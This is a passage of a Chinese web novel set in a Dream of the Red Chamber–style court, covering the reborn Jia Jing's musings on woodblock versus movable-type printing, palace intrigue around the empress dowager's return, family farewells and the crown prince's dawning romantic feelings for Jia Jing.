他说着一顿,叹了口气道:“可这个字,很多人都不认识。” “莫说那些印刷干体力活的贫苦人,就连很多读了几年书的读书人,也不一定认识这个字。” “即便认识了这个字,那么别的字呢?我们都不能保证所有字都认得。” 皇甫玦指了指那一堆小木块雕成的字,“若是想将这些错乱的一个个字排版成一册书,需要耗费大量的精力。” “对于那些不识字的印刷工来说,太难了。” 贾敬也终于明白了皇甫玦的意思,“所以,即便雕版印刷造价高,成本贵,可对于印书的书商来说,若是量大册多,反而雕版刻本是划算的。” “没错。”皇甫玦点头,“若是书内容简单,活字印刷用些常用字便方便许多。” “若是那些内容繁琐的书籍,反倒是雕版印刷更加容易。” “书商印多少书,也会在两者间抉择。” 贾敬点着头,这些都是他曾经未曾了解过的。 程一序在一旁也插了句,“就算是活字印刷,泥板活字和铅板活字虽成本造价要比木板高,可木板到底易腐烂磨损,耐磨性比不得前两个。” 贾敬一听,下意识看向皇甫玦。 若是程一序说的有道理,那么这木板活字岂不是看着有用,实则无用吗? 皇甫玦忙活这些,是白忙活了? 第72章 皇甫玦紧绷着脸, 目光有些沉,盯着程一序久久没有说出话来。 就在贾敬以为他不准备再说什么时,只见皇甫玦深吸一口气, 语气缓缓却又带着难以忽视的坚定: “我会找到比现在都要好的木头防腐方法。” 程一序定定地望着皇甫玦脸上的倔强之色,最终只是叹了口气,似无奈似妥协, 也没再说什么。 对于这样的结果, 他早就知道了, 不是吗? 贾敬在一旁将这些都看在眼里, 心中也咂摸出味儿来,眼神略带玩味的瞥了程一序一眼。 他算是看明白了,这程一序怎么好好的, 要请自己上门做客, 原来是为了这么一茬。 这人还真是贼。 皇甫玦显然也发现了程一序领贾敬上门的目的,撇着嘴道: “你就算请了培元哥哥,让培元哥哥笑话我,我也不会放弃的。” 他说着又重新做回到了马扎上, 拿起刻刀和刨子,作势接着雕小木块, 嘴上嘟囔: “我就喜欢做这个, 挨不着你什么事。” 贾敬连忙解释, 表明态度, “我可不会笑话阿玦, 我觉得阿玦此举, 很有意义。” 程一序一哽, 合着就是他一个坏人呗? “好了, 别雕了, 李嬷嬷的饭都要做好了。” 程一序走到皇甫玦身边,语气软和了几分。 皇甫玦看都不看他一眼,手上刨木头的动作快的飞起。 贾敬一脸新鲜地瞧着,他目光落在皇甫玦那双手上。 上次皇甫玦写字时,贾敬就注意过他的手,细皮嫩肉,腕骨纤细,仿佛轻轻一折就能断了。 可皇甫玦的字,下笔沉稳,力透纸背,而今日更是拿着刨子刻刀,舞得那叫一个虎虎生风。 人果然不可貌相。 程一序晓得皇甫玦是真的气了,蹲下身子,轻声道: “培元兄来,李嬷嬷可是做了许多好吃的,真不吃了?” “你要不吃,我就让李嬷嬷……” “唔唔唔……” 程一序话没说完,就被一只沾着木屑的手捂住了嘴。 皇甫玦瞪大着眼睛,“谁说我不吃的?” 程一序头一个后仰,“呸”了好几下,一脸嫌弃,“皇甫玦,脏不脏啊!” 皇甫玦眼底是难掩的狡黠,他迅速收回手,抬了抬下巴,“我的手可不脏,我还嫌弃你口水脏呢!” “我去洗手了!” 他说完将手中的刻刀刨子收好,便起身朝屋内跑去。 程一序直接拿起刚刚皇甫玦为贾敬拿来的那壶水,猛地灌了一口,漱着口。 “你何必呢?” 贾敬抱胸斜靠在廊下柱旁,一脸笑意地看着程一序。 “明知道他气着,你服个软,说句道歉的话,不就好了?” 程一序将嘴中的水吐了,又拿出一块帕子将嘴边的水擦干净,幽幽地望了贾敬一眼, “你懂什么?” 贾敬:“……” 得,是他多嘴。 李嬷嬷的手艺确实了得,贾敬难得吃撑了。 回去路上,马车摇晃的他有些难受,便在半道上,命人停了马车,便下去溜达,当做消食了。 贾敬如今走的大道,距离宁荣街只隔了一条街,他也不急,慢慢走着。 没一会儿,贾敬便注意到,大道两旁不停有人走动,好像在查看着些什么。 贾敬偏头问阿寿,“知道他们在做什么吗?” 阿寿果然机灵,这事他还真的知道,回道: “二爷,他们是在查这道上的青石板,看看有没有什么碎石子,及时清理了。” 贾敬看着面前的大道,反应过来,问道:“近些日有什么贵人需要入京吗?” 眼前这条大道,尽头通向宫里的官道i,一般只有贵人进京的时候,会提前派人来检查清扫大道上的碎石灰尘。 阿寿:“听闻是太后娘娘要回京了。” 贾敬一愣,太后娘娘? 他对这位出自张家的太后娘娘,天丰帝生母,印象并不深。 只记得再过不了两年,这位太后娘娘就要薨逝了。 重生回来,贾敬亦没有怎么关注这位太后娘娘,听说好像是去五台山礼佛了。 贾敬走着,忽的脚步一顿。 阿寿也跟着停下脚步,“二爷,可是有什么事?” 贾敬蹙眉,“太后娘娘去五台山礼佛归来?” 阿寿点头,“是。” 贾敬眸光一凝,追问:“谁陪同太后娘娘一起去的?” 阿寿一愣,随后试探的说出一个人,“三皇子殿下?” 果然! 贾敬心一沉,终于是想起来了。此次太后娘娘去五台山礼佛,陪同的正是三皇子萧淮泽。 此次回京后,天丰帝便封了三皇子萧淮泽为梁王。 三皇子萧淮泽的母妃是宣嫔,性格柔顺,姿色不显,不得圣宠。 但她常年服侍太后娘娘,萧淮泽亦是在太后娘娘膝下承欢,太后娘娘自然也是最喜这位孙儿。 有太后娘娘撑腰,以及他那位成王外孙女的三皇子妃,萧淮泽亦没有前往封地,而是留在了京里。 天丰帝命其入了大理寺,入朝参政。 大理寺…… 贾敬眯起眼,这里面关系可不一般。 众所周知,大理寺卿严峰是齐王萧淮洵的岳丈,可天丰帝却没让齐王萧淮洵去大理寺,只是去了工部。 反而是三皇子萧淮泽去了大理寺。 若是其他人,定是要称赞天丰帝的决策圣明,牵制平衡之术炉火纯青,一碗水端得平。 贾敬缓缓勾起唇,眼底慢慢爬上一丝冷意和嘲讽。 可能就连天丰帝自己也觉得这个决策很好吧。 只是他不知道,他的用心反而是助长了三皇子萧淮泽。 齐王萧淮洵非但没和萧淮泽互相牵制,反而是站在了一起。 可能天丰帝自己也没想到,齐王作为贵妃之子,居然连夺嫡的心思都没有,直接站队了没什么母家靠山背景的萧淮泽。 不,齐王也不见得是没有夺嫡心思。 依照贾敬重生以来,与齐王碰面的情况来看,最起码萧淮洵现在还是有的。 那么他后来又为何放弃,转而投奔三皇子萧淮泽…… 贾敬心中其实有了猜测,原因大抵是出现在齐王萧淮洵好男风这件事情上。 “怕不是他被萧淮泽拿了什么把柄吧……” 贾敬不禁喃喃出声,声音并不大,跟在他身边阿寿也没有听清。 “二爷,您说什么?” 贾敬摇首,“无事。” 他接着迈步朝宁荣街走去,心里却想着一些事。 上辈子萧淮川先是被陷害巫蛊之术,随后被神宫监掌印太监王定逼死。 而贾敬后来知晓,王定是齐王萧淮洵的人。 若是齐王萧淮洵早就和三皇子萧淮泽联手,那么上辈子萧淮川的死,便和萧淮泽也脱不了干系。 贾敬的眼眸愈发深沉,耳边又回荡起萧淮川当日在天珍阁说的那句话。 “除非我自己不想要这个位置,不然,没有人能将我从这位置上,拉下来。” 所以,到底又发生了什么事,会让上辈子的萧淮川面对那些陷害都毫无反抗呢? 这些事情如同一团乱麻一般,团成了团,找不着头,也找不着尾。 贾敬心中不禁有些郁结。 忽然,他好似听到了什么,眸光不由得向左前方看去。 那里隐约传来咿咿呀呀的声音。 阿寿随着贾敬的目光看去,认了一会儿,开口道: “那边好像是定城侯府上,听闻他家老夫人今日寿诞,请了戏班子去府上,已经唱了一整天咧。” “咱们太太今日不得空,没去,但也送了礼。” 贾敬颔首,不日他兄长贾敷就要南下,这些日子他嫂子史云棠一直都在为贾敷整理行装,外面许多事都推了。 “你倒是什么事情都清楚。”贾敬掠了阿寿一眼。 阿寿憨憨一笑,“二爷,我先前在在咱们府做门子的,什么人都接触一些,消息自然也灵通。” 贾敬挑眉,没想到自己随意挑中的一个小门子,能耐倒不小。 他的耳边时不时就传来定城侯府戏班子唱戏的声音,贾敬有了想法。 想把这一团乱麻理清楚,就需要找到一个头。而这个头,就是他昨日在翰墨轩碰见的青老板。 那么,贾敬当务之急就要弄明白,青老板宝贝的那两本心经抄本,究竟出自谁之手。 贾敬目光扫视了一圈,见街上此时并没有什么人,才转头看向阿寿,轻声道: “阿寿,从明日起,你去做件事。” 阿寿一听,眼睛一亮,“二爷您说。” 贾敬:“你去崇雅堂那边帮我盯一个人,瞧瞧这些日子他都去了什么地方。” “崇雅堂的台柱子,青老板。” 阿寿接连点头,多余的话他也不问,主子让做什么,他就做什么。 贾敬回了府,开口便问起阿禄,“今日宫里可传出什么消息?” 萧淮川虽然派人传话,让他不要担心,可贾敬焉能什么都不在意? 阿禄回道:“宫里那边有消息说,太子殿下今日早朝告了假,户部那边亦没有去当差,说是感染了风寒,也请了太医。” 贾敬听着手一顿,不由得担忧起来,难道是昨夜在自己这里宿下,冻着了? 可又想起萧淮川传来的话,贾敬便又觉得不是。 不会是和太后以及三皇子萧淮泽回京一事有关吧? 贾敬只是随意猜着,既然萧淮川那边有安排,他也不必多插手操心。 他转头看向素雪,“今日让你寻问护院,可问了?昨夜府中是否进了贼?” 丟被褥事小,若是真的进了什么贼,那边是大事了。 素雪摇头,“二爷,真没有进贼,要奴婢说,定是那床头鬼……” 贾敬可不信有什么床头鬼。 丟被褥一事,一看便是人为,难道是萧淮川将被褥带走了? 不能吧? 他要那被褥做什么? 【作者有话要说】 小萧(心虚):应该就是床头鬼吧。 阿元:床头鬼?你吗? 第73章 “二爷, 太太派人来请。”外面一个小丫鬟进来请贾敬。 贾敬看了看自己的衣着,颔首道:“跟太太说,我换个常服就来。” 他大概清楚史云棠请他过去是所谓何事, 大抵是关于兄长南下的事情。 果不其然,当贾敬简单洗漱收拾好后,去了贾敷史云棠的院子时, 便见这两人正等着他。 贾敷捧着茶杯, 轻呷一口, 瞥了贾敬一眼, “回来了?” 贾敬点头,顺势在一旁的空位坐下,旁边小丫鬟立刻添了杯热茶。 史云棠眼眸含笑着打量了贾敬两眼, 贾敬被瞧得不禁失笑, “嫂子怎么这样看着我。” 史云棠嗔道:“阿元不过翰林院当差两日,这气度瞧着就不一样了。” 还未待贾敬说什么,贾敷却怪腔怪调道: “可不是,这自从翰林院当了值, 人影子都见不着一个。” 看向贾敬的眼神,也带着些许幽怨。 贾敬先是一愣, 随后反应过来, 原来兄嫂是说他这连着两日不曾回家用膳, 不禁扶额, 有些无奈, “哥, 不过才两日而已。” 贾敷嗤笑, “哟, 咱们二爷还真的吃得开, 你还想几日啊?” 史云棠伸手拍了贾敷一下,“说什么呢,咱们阿元刚当值,合该和同僚好好相处。” “你以为谁都跟你一样,在家闲散着?” 嫂子的维护让贾敬唇角下意识勾起,贾敷忿忿却不敢反驳,只是眼巴巴看着史云棠, “夫人,为夫不日也要南下了,你怎么不心疼心疼为夫呢?” 史云棠忍不住白了贾敷一眼,没好气道: “我这几日为你南下忙前忙后操持着,还不够心疼你?没良心的。” 贾敷讨好笑着,“辛苦夫人了。” 贾敬双手捧着茶,眼里含笑,静静看着这一切。 贾敷斜了一眼过来,轻飘飘说了句,“昨晚太子歇你院里了?” “咳!咳咳!”贾敬刚喝得一口水,因为贾敷这句有歧义的话,差点没呛死。 “他是错过了宫中落锁的时辰,这才歇了一晚。”贾敬无奈地解释。 贾敷自然清楚,哼了一句,没说什么,反正他现在看萧淮川怎么看都不顺眼。 “我这边已经准备的差不多了,大概后日就要启程南下了,届时赦哥儿会同我一道去。” 贾敷说着,顿了顿,目光认真地望向贾敬,“阿元,你在京中,好好的,不要胡来。” 有道是:三十三天,离恨天最高;四百四十病,相思病最苦。 贾敬沉默了一瞬,他知道贾敷是怕自己会为了萧淮川而冲动做些什么。 “哥,你放心,我心中有数。”贾敬只能再次向贾敷保证,“无论是为了咱们宁国府,还是为了嫂子和珍哥儿,我都不会胡来。” “只是有件事……”贾敬说着,脸上露出了一抹犹豫。 贾敷眼皮跳了跳,“你想作甚?” 贾敬抿了抿唇,手指下意识在杯壁摩挲着,话在喉间滚了又滚,终究是说了出来。 …… 从贾敷史云棠的主院出来后,贾敬深深呼出一口气。 在他说出自己的计划和安排后,贾敷的剧烈反对在贾敬的意料之中。 万幸,他说服了兄长。 只希望,他的安排和谋划,能起到作用吧。 · 荣国府内。 贾赦那边正指挥着小厮丫鬟收拾着行礼,对于父亲贾代善的安排,他是难得这么认同。 对于随东府的敷大哥哥南下这件事,贾赦期待万分,恨不得马上就到后日。 他心中已经开始幻想着出去,怎么博一番事业了,好叫他那位总是瞧不上自己的爹以及那位偏心的,日后都能对他刮目相看。 贾赦是不喜读书,他也没贾政那小古板听话,都道他是个纨绔,酒囊饭袋之徒。 可十几岁的少年,谁当真没点心气儿和抱负呢? 贾赦想着,从床下扒拉出一个箱笼,从里面小心翼翼掏出了几本书。 刚准备用油纸包好时,便听见门口小丫头通传: “大爷,二爷和三姑娘来了。” 贾赦手下动作一顿,显然没想到贾政这会子会来找他,往日里,贾政再不会上他院里来。 贾敏倒是时常来他院中,他平日里出去玩,总会给贾敏带些新鲜玩意儿。 这边想着,还未等贾赦说什么,贾敏便迈着小短腿轻车熟路地跑了进来,嘴上唤着: “大哥哥,大哥哥。” 后面贾政板着脸紧跟着,嘴上还说着,“小敏儿,你慢些跑,仔细摔着。” 贾赦顺势将手中的活计停下,一把捞过向自己扑来的贾敏,手揉了揉贾敏头上的小揪揪, “小敏儿怎么来了?” 贾敏俏生生道:“我来瞧瞧大哥哥行囊收拾的如何了!” 贾赦咧嘴笑道:“原来是来当小监工的。” 贾敏扬了扬小下巴,忽然她又想到什么,手一指旁边的贾政, “其实是二哥哥提的。” 贾政见妹妹将自己卖了,眼眸微睁,脸上闪过一丝尴尬和无措。 贾赦掀了掀眼皮,看向一旁站着的贾政,勾起唇, “哟。” 多余的话,贾赦也没说,只是一脸玩味的看着自己这位二弟。 贾政眨了眨眼睛,嘴上磕绊答道:“父、父亲让我来看看……” 他说这话,手指却已经不自觉地搅在了一起。 贾赦哼了一声,“我自会收拾妥当。” 贾政干巴巴地回了句,“大哥哥路上小心。” 贾赦盯着贾政看了好一会儿,忽的笑道:“谢了。” “倒是你,进了国子监便好好读书,可别给敬二哥哥丢人。” 贾政郑重点头,“我知道!” 贾赦又道:“若是有人敢欺负你,你就打回去,别丢了咱们荣国的脸。” “若是打不过,你记下,待小爷回京,给你出气!” 贾政扯了扯嘴角,这有些粗鲁,但还是点了点头,难得没有反驳什么。 他的目光在贾赦屋内扫视一圈,见箱笼行囊都打点妥当,咬了咬唇,眼底闪过一丝纠结,迟疑开口道: “可是因为我进国子监,大哥哥才要离京?” 贾赦惊诧地望着贾政,“你怎么会这么想?” 贾政嘴唇嚅嗫,眼睛直勾勾盯着贾赦,等他一个回答。 贾赦翻了个白眼,语气张狂倨傲,“小爷才不稀罕进什么劳什子国子监,不然也不会躲这么些年。” “外面多自在啊,小爷就想出去闯闯。” “你就安心去读吧。”贾赦嫌弃地挥了挥手。 贾政半信半疑,“真的?” 贾赦面露嫌弃,“你爱信不信,但别瞎想,小爷嫌恶心。” “诶,大哥哥,这是什么?” 贾敏软糯好奇的声音横插进来,只见她不知何时从桌上捞起了一本册子,好奇地翻看起来。 书页已然有些发皱泛黄,可见没少翻阅,她的小手随便翻开一页,上头竟然还密密麻麻批注许多东西。 贾政好奇探头过去瞧,竟是各地的游记杂谈,上面那批注跟狗爬字一样的字迹,贾政自然也认得,是贾赦的手笔无疑。 “这是……”贾政诧异地看着那册子。 贾赦则是没空理会贾政,而是哄着贾敏,“小敏儿,这可是你大哥哥的心血,可不能顽皮撕纸玩儿啊。” 贾敏撅起来小嘴巴,“大哥哥瞧不起谁,我这些时日四书都读了大半了。” “这就是些游记嘛,还真当我看不懂?” 这话一出,贾赦和贾政都是一惊,面面相觑,他们这位三妹妹七岁不到,竟然四书都读了大半了? 贾家族学皆是男孩读书之所,贾敏读书是史氏单独请了西席,贾赦贾政自然不清楚自家妹妹的学习情况。 贾赦虽不爱读书,可他对于自家三妹妹读书这事儿,是极为骄傲的,抬手捏了捏贾敏的鼻子, “咱们家这是要出个女诸葛了?” 贾敏瓮声瓮气道:“我也不能给敬二哥哥丢人。” 贾政闻言,一直绷成一条直线的唇终是弯了弯。 他目光先是扫过那满是批注的册子,随后移向贾赦,“大哥哥既然心有成算,那便祝大哥哥行止皆坦途,如愿得偿。” 贾政此时已经明白,刚刚贾赦所言非虚,他离京并非所迫,而是心向往之。 贾赦眼中难掩的意气丰发,“自然。” “待小爷归来,给你们带新鲜玩意。” “好,谢谢大哥哥。”这是贾敏软糯甜腻的声音。 “嗯。”这是贾政故作矜持的声音。 此时此刻,尽显温情。 · 东宫。 “殿下,这药已经温了,您……”忍冬端着一碗黑漆漆的药进了萧淮川的书房,小声提醒着。 萧淮川伏案抬首,目光落在那碗药上,“端来吧。” 忍冬连忙将药呈上,萧淮川伸手端过,面不改色的就将那碗药喝了个干净。 忍冬在一旁,脸都下意识得皱了起来。 他刚刚端药离得近,早就闻见了一阵苦意,嘴上听从刘太医的叮嘱,小声劝道: “刘太医说,此药性凉,殿下莫不能多用,小心伤了身子……” 可忍冬话没说完,便见萧淮川斜了他一眼,瞬间将话吞了回去。 忍冬心中不禁泛了嘀咕,殿下这药开的还真是怪啊,怎么吃起这个药了。 【作者有话要说】 注释:【三十三天,离恨天最高;四百四十病,相思病最苦。】出自元代石子章的《杂剧·秦修然竹坞听琴》。 唔,小伙伴别觉得我是在水剧情呀,我是真的想写写,红楼亲世代的年轻模样,也希望他们在我的文里有个好的结局,这便是我开这篇文的初心。 红楼子世代,我也会写哦,到时候写到福利番外里,不知道大家想不想看。[可怜] 第74章 忍冬端着托盘空碗退下后, 出了门就撞见了候在门口的小德子。 小德子极为有眼力见儿地伸出手,从忍冬手中端走了托盘,“小的来端。” 忍冬斜了小德子一眼, “既如此,殿下这些天的汤药,便由你负责吧。” “记得将这药碗和药渣都处理干净了。”忍冬的声音向下压低了许多, 小心叮嘱着。 小德子的腰弯得更低, 脸上笑意更深了几分, “诶, 忍冬公公您放心。” 忍冬作为东宫的大主管,虽随身伺候着萧淮川,可东宫别的事物也不少管, 着实很忙。 如今殿下既然看重这个小太监, 他何不顺手推舟,也当给自己培养个副手。 忍冬走后,小德子的眼睛便看向了托盘里的那个空碗,下意识倒吸一口凉气。 今日萧淮川请刘太医前来诊治, 小德子和忍冬皆在一旁伺候着。 刘太医的诊断他们也都听了一耳朵,大抵是说太子殿下夜间盗汗, 心烦失眠, 虚火居多, 给开了一副黄连上清汤, 清热泻火。 这方子黄连为主, 配上连翘、白芷、黄柏等物, 听着就苦。 而这药方寒凉, 降热毒有奇效, 却不可多服, 因此还搭配开了知柏地黄丸。 刘太医顾忌着萧淮川的面子,留了些话没有说,知柏地黄丸除了能降火,还是大补之物,专补肾水亏损。 他诊断了太子殿下的脉象,也将情况猜了七七八八。太子殿下内火过旺,这一下子猛然泄出,对身体到底不好。 忍冬自然看不明白刘太医遮遮掩掩的诊断以及这些药方子,可小德子看得真切啊。 这里面的来龙去脉小德子都能理的一清二楚,因此也更加心惊。 只希望知晓主子这样隐晦密辛的自己,可以多活些时日吧。 为了自己的小命,小德子势必维护好太子殿下的声誉! 问就是太子殿下感染了风寒! 小德子想着,便小心将忍冬交代的事情一一处理干净,善了后。 · “殿下。” 暗卫悄无声息的进入,向萧淮川行礼。 萧淮川停下手上正在写的折子,抬眸看向暗卫,“有什么最新消息?” 暗卫拱手道:“回禀殿下,太后娘娘的仪驾已到京郊外的官驿,只待明日入京。” “三皇子殿下在旁陪同。” 萧淮川颔首,只是“嗯”了一声,暗卫再次开口禀告: “属下得到消息,太后娘娘此次回京,是为了……张二小姐的婚事。” 萧淮川微微掀了掀眼皮,唇角勾起一抹没有什么温度的弧。 承恩公张家的二小姐…… 那是天丰帝认定的太子妃,谁敢定下她的婚事? 太后也不可能不知道这件事,除非…… 暗卫显然也清楚这点,“殿下,太后与张家此次的目的,是您。” 他们就是冲着太子妃的位置来的。 萧淮川眼眸微垂,意味不明地反问了一句,“是吗?” “这些事情孤知晓了,你且小心,继续盯着他们。” 暗卫退下后,萧淮川一人静静坐在书房内,目光沉沉,一动不动,宛如一尊木雕。 因为方才喝过药的缘故,萧淮川的口中充斥着苦意。那浓烈的苦寒涩然顺着舌尖蔓延至咽喉,经久不散。 随着烛光燃尽,书房内的灯光幽幽黯然,萧淮川身子随意靠在圈椅中,身子大半都隐入了黑暗中,深邃的眼眸暗沉如浓墨。 萧淮川一只手臂弯曲,支撑着头,另一只手则是搭在圈椅扶手上,手指下意识地摩挲起腕间挂着的那颗砂金珠子,温润的触感如今却似烙铁般滚烫,烫得萧淮川睫羽颤颤,指腹发热。 “这苦,挺好……” 萧淮川轻轻喃喃了一句,嘴角却是一抹除不掉的苦意。 有这满腔钻心的寒苦,心底翻涌的涩然,才能一直提醒着萧淮川,前一日夜里,他是多么的荒唐。 他居然对着从小看着长大的弟弟,产生了那等冲动和妄念! 萧淮川不是没想过,他是不是因为长时间不曾纾解,才情难自禁;亦或是昨日看了那等旎情之书,受了刺激,才做了那样的梦。 甚至于那书是表男风断袖之情,萧淮川这才起了妄念。 萧淮川向来是冷静自持,对那档子事亦是不怎么热衷,甚至于到了清心寡欲的地步。 他的身边干净到连个通房侍寝丫头都不曾有过,东宫的后院仿佛是冰封在霜雪之下,不染凡尘。 一来,他没有这方面的需求,二来,亦不想身边被人安插眼线,拿捏住把柄。 他不喜与女子亲近,可萧淮川也未怀疑过自己会喜欢男子。 毕竟前朝末帝便是前车之鉴。 前朝朝廷党争严重,多是党同伐异之徒,而末帝昏庸无能,已然失权,地方豪绅所刮民脂民膏,民不聊生,这才各地起义。 若说前朝灭亡全怪罪于末帝好男风,被那男妖后蛊惑亡国,这显然是无稽之谈,萧淮川亦是嗤之以鼻。 可前朝末帝好男风,欲立男后这样的举动,却是末帝昏庸的表现,罔顾人伦,不合阴阳,萧淮川的皇祖父,大乾的太祖皇帝对此深恶痛绝。 太祖皇帝在世时,亦是多次下令整改抑制男色之风。 直到天丰帝继位后,他不甚在意此事,民间风气也渐渐放开。 就算是京中权贵有擅此道者,只要不将这些弄到明面上,大多数也都是睁只眼闭只眼,上不得什么台面。 萧淮川少时也曾看过男女相关的旎情春图,是兴致缺缺。 他眉头紧锁,难道他真的是不喜娇娥,独爱须眉…… 不然怎么解释萧淮川看了那两书生知己交颈之事,便压不住了心中的冲动? 可是,即便他心中真的喜好男子,萧淮川梦中所想所念之人,怎么可以是他! 那是萧淮川认定的弟弟,和他同为男子,一同长大的阿元啊…… 萧淮川这般想着,双手不自觉地攥紧扶手,指节泛白,昔日与贾敬相处时的点点滴滴都如走马灯般在眼前浮现。 第一次见面便为自己打架的小团子; 春日杏花树上调皮摇着树枝、令自己落得满身杏花的小少年; 进士及第簪花时意气风发的青年; 从山上滚落跌得满身伤痕却递砂金珠子给自己的那张笑脸; 以及衣裳落下,露出莹白肩头,转眸朝自己看来的那双早已经记在心里的桃花眼…… 贾敬的一颦一笑,他的抬眸垂首,早已经入了萧淮川的眼,进了他的心。 萧淮川狼狈地抬起手,宽大的袖袍遮住他的眉眼。 “呵呵……”萧淮川不禁呜咽出声,那闷哼的笑里是苦涩与痛苦。 萧淮川如今心中怎么还会不清楚,他哪里是好什么男风,他心之所向的,仅此阿元罢了。 他居然爱慕上了这么一位不该爱慕上的人。 萧淮川深知这禁忌之情如深渊,而他如今便是立于这深渊之旁。 是悬崖勒马,还是……沉沦至底? 萧淮川掩盖在脸上的手颓丧地垂下,露出那张痛苦难忍的脸。 他垂下的手虚虚握着,却又仿佛什么都握不住,显得极为无力。 且不说如今他的处境荆棘密布,夺嫡之路,一旦踏出,便再难回头。 就说,他当真坐上那位置后,掌天下万民,持江山安稳,御史们的刀笔皆对着他。 禁忌之情若是泄露,他真的能护住阿元吗? 就算抛开这些不谈,阿元是怎么想的呢? 萧淮川的眼底划过一抹微不可查的自嘲,这样令人恶心的妄念,阿元若是知晓后,会远离他吧。 阿元肯定会躲得远远的,不让萧淮川找到。 萧淮川至今还记得,贾敬为了不愿被贾敷安排相看,不惜挨了家法。 他明明知晓贾敬的心意,他的阿元只想找个心意相通之人,难道自己还能强迫不成? 萧淮川扪心自问,他做不到。 他不可能伤害阿元,更不能强迫于他。 可是,萧淮川真的能亲眼看着贾敬娶妻生子,子孙满堂吗? 一想到这个场景,萧淮川便心如刀割,心中妒意能烧红他的眼眶。 但是他又能做什么呢? 萧淮川深深吐出一口气,努力平稳着颤抖的身体。 他能做的,就是好好护着阿元,将阿元留在他的身边,至于以后…… 萧淮川的手稍稍抬起,攥住了圈椅的把手,在他指节的用力之下,木头发出了“嘎吱”作响之声,好似下一瞬就要断裂。 萧淮川只觉得自己脑中如有一把木锯在拉扯。 他唾弃自己的情不自禁,自厌于这份难以宣之于口的晦涩之情。 “我说过,我要护着阿元……” 萧淮川缓缓抬起眼眸,死死盯着眼前微亮的烛火。 他先前已经想明白,他要坐上那位置,才能护着阿元。 从前,萧淮川只当这是想要护着弟弟的心,如今他已然明白,自己为何会向阿元许下那等承诺。 事已至此,萧淮川更加不会动摇脚步,只有他能护着阿元。 至于那不可言说的情,若是一步错,便会步步错,往前,是万劫不复。 然而,他又怎么可能放手呢? 让他割舍对阿元的情感,犹如肝肠寸断,他断然做不到放阿元离开。 窗外,忽的响起淅淅沥沥的雨声,打在窗棂上,呼呼作响,烛火将灭,更衬的书房一片孤寂,而萧淮川被这孤寂吞噬,整个人都隐匿于黑暗中。 “阿元,不要离开我……” 【作者有话要说】 注释:黄连上清汤、知柏地黄丸,以及症状,皆出于百度。 鼓掌,小萧终于看清自己的心啦! 第75章 贾敬起身时, 便感受到了一阵凉意。 门帘掀起,素雪领小丫鬟捧着洗漱器具进来,湿漉漉的水汽钻了进来。 贾敬拿帕子将脸擦净后, 问了句,“昨夜外头下雨了?” 素雪点着头,“二爷昨夜睡得沉, 许是没听见, 昨夜雨下的还不小咧。” “今日凉, 二爷不若里面再加件衣服吧。”素雪劝着。 贾敬摆摆手, “左右不过在屋中,不必如此。” 他走出门,看着阴沉沉的天, 想起今日太后回京, 嘴角扬起一抹玩味的笑意。 这日子挑的,还真不怎么好。 不过,迎接太后这样的大事,与他这等正七品翰林院编修小官, 没什么干系。 贾敬到达翰林院官署时,便又看见了那位熟悉的小太监。 小德子迎上, 躬身道:“请二爷安。” 贾敬开口便问:“淮哥身子如何?” 他还想问是否真的如传闻那般感染了风寒, 可到底忍住了。 小德子压了压身子, 低声道:“二爷您就放心吧, 殿下一切安好。” 贾敬了然, 目光这才瞧向小德子手中的食盒, “淮哥让你送来的?” 话刚说出口, 贾敬像是想到什么, 紧接着道:“他不会吩咐你每天都来送吧?” 小德子咧嘴笑道:“二爷猜的没错, 殿下正是这么吩咐的。” 贾敬嘴角抽了抽,“可别。” “这架势跟喂猪似的。”贾敬小声嘀咕了一句。 小德子耳尖,自然听见了,可这话他却不能接,只当没听见。 “二爷,您就收下吧,不然殿下定是会责怪奴婢的。” 小德子长得便讨人喜欢,贾敬也不可能真为难人家去,只好示意身后的阿禄将食盒接过。 “二爷若是没什么事,奴婢就先告退了,不耽误二爷当差。”小德子说着就准备躬身离去。 “等等。”贾敬下意识叫住小德子,可将人叫停后,他张了张嘴却顿住了。 贾敬是想问,萧淮川那里何时才能恢复正常,若是许久见不到人,贾敬放不下心来。 可这话,并不能这样问出口。 就在贾敬纠结时,小德子蓦然出声,“二爷,都怪奴婢笨,竟是忘了件事未曾转告。” 贾敬:“何事?” 小德子:“殿下命奴婢转告二爷,三日后的天珍阁书场清谈,他若是身子爽利了,便同二爷您一道去。” 其实小德子并非是忘了这茬,他现在对于萧淮川的命令吩咐是奉为圭臬,恨不得倒背如流。 他这么说,是萧淮川率先嘱咐。 若是贾敬没问,萧淮川便让小德子不要说,若是贾敬问了类似于他何时好,便将这么一段说辞告知于贾敬。 贾敬眼眸微微眯起,心中有了数。 看来萧淮川装病一事,便是只为这两天。 贾敬颔首,又追加了一句,“明日就别送糕点了,吃多了,牙疼。” 小德子笑着躬身离开,至于送不送糕点一事,可不是他能做主的。 贾敬提着食盒坐下后,旁边的程一序就幽幽开口: “培元兄当真好福气,每天都有人送糕点……” 贾敬都不想搭理他,嗤笑道:“昨日我可是听阿玦说了,李嬷嬷做面点的手艺也是一绝,少在我这里卖惨。” 说着手还将食盒朝一旁推了推,离程一序更远了。 程一序似笑非笑地看了贾敬一眼,却什么也没说。 没一会儿,宋子虚和薛琼也到了位置上,几人简单问好后,便接着梳理史料。 “砰!” 不知过了多久,安静的屋内忽然传来一声巨响。 贾敬的思绪被打断,脸上划过一丝不悦,敛眉抬首望去,就见他们斜对角的角落里,胡典籍手指着一位庶吉士。 那庶吉士显然也是一副怒气冲冲的模样,梗着的脖子上泛着青筋,涨红着脸,扯着嗓子破口大骂道: “你简直是胡搅蛮缠!有你这么折腾人的吗!这些无用的东西让我核了一遍又一遍!” “你根本就是在耍我!” 胡典籍面色铁青,脸上的皱纹更深了几分,他斑白的胡子气得乱颤,手中戒尺狠狠地敲在桌案上, “砰!” 贾敬了然,原来刚刚的那一声巨响是来源于这里。 胡典籍手握着戒尺指着庶吉士:“老夫用心教你,谁知你竟然如此冥顽不灵!” “这儿庙小,容不下去你这尊大佛!”他目光如炬,紧紧盯着那位庶吉士。 “滚吧!” 胡典籍的一声“滚”,彻底让那位庶吉士的脸挂不住了,只见他双眼陡然瞪大,眼眶欲裂,脸色变得极为难看。 “你让我滚?” 庶吉士眼里是压不住的愤懑,脸上却臊得泛红,他故意提高了声音,先是放了句狠话, “今日这一遭,我记下了!” “我先前是敬你为翰林院的前辈老人,却未曾料到,你是这般狭隘迂腐之人,只知打压新人!” “怪不得这些年还只是个典籍!” 庶吉士愈发口无遮拦,一句句恶言从口中冒出,他心中原本的犹豫和顾虑早在口出狂言的那一刻,消散了个干净。 言罢,他自得的抬着下巴,目光傲然地看向气得浑身发抖的胡典籍,脸上带着得意, 